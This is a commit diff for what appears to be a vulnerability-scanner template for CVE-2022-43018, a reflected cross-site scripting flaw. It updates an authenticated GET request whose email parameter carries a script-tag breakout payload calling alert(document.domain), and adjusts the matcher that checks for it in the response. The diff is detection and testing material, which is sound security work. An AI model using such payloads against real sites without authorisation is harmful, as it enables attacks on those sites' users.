Update CVE-2022-43018.yaml

patch-1
Prince Chaddha 2022-10-25 17:46:24 +05:30 committed by GitHub
parent f24299f365
commit 154af6a542
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 4 additions and 2 deletions

View File

@ -26,16 +26,18 @@ requests:
username={{username}}&password={{password}}
- |
GET /index.php?m=toolbar&callback=abcd&a=checkEmailIsInSystem&email=<script>alert(document.domain)</script> HTTP/1.1
GET /index.php?m=toolbar&callback=abcd&a=checkEmailIsInSystem&email=</script><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '})();</script><script>alert(document.domain)</script>:0'
- '</script><script>alert(document.domain)</script>:0'
- type: word
part: header